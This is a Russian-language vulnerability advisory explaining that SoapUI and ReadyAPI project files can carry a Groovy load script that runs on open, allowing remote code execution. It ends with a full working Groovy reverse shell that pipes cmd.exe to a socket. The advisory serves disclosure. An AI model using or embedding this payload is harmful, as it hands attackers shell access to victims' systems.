
Advisory & PoC
Консультация и PoC
SoapUI и ReadyAPI позволяют создавать или добавлять динамическое содержимое к тестовым сценариям (например, для вычисления временной метки на лету) с помощью скриптов на языке Apache Groovy. Выполнение этих скриптов может быть запущено различными способами, и они сохраняются внутри XML-файла проекта после его сохранения.
Функция "Load Script" позволяет создать скрипт на Groovy, который запускается сразу после открытия файла проекта (элемент con:afterLoadScript в XML-файле проекта) без какого-либо дальнейшего взаимодействия с пользователем. Это поведение может быть использовано злоумышленником для создания вредоносных файлов проекта, которые при открытии выполняют произвольный код Groovy на системе жертвы. Поскольку с помощью языка Groovy можно выполнять системные команды, эта функция может быть использована для эффективного выполнения удаленных команд.
ПРИМЕЧАНИЕ: той же цели можно достичь, используя любую другую функцию, поддерживающую скрипты Groovy (например, "Save script"), но для этого потребуется дополнительное взаимодействие с пользователем после загрузки файла проекта.
Уязвимые приложения:
На момент написания (2020-02-04) это уязвимость нулевого дня, поскольку (несколько) предложенных дат раскрытия прошли без выпуска патча вендором.
Пример обратной оболочки на Groovy (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();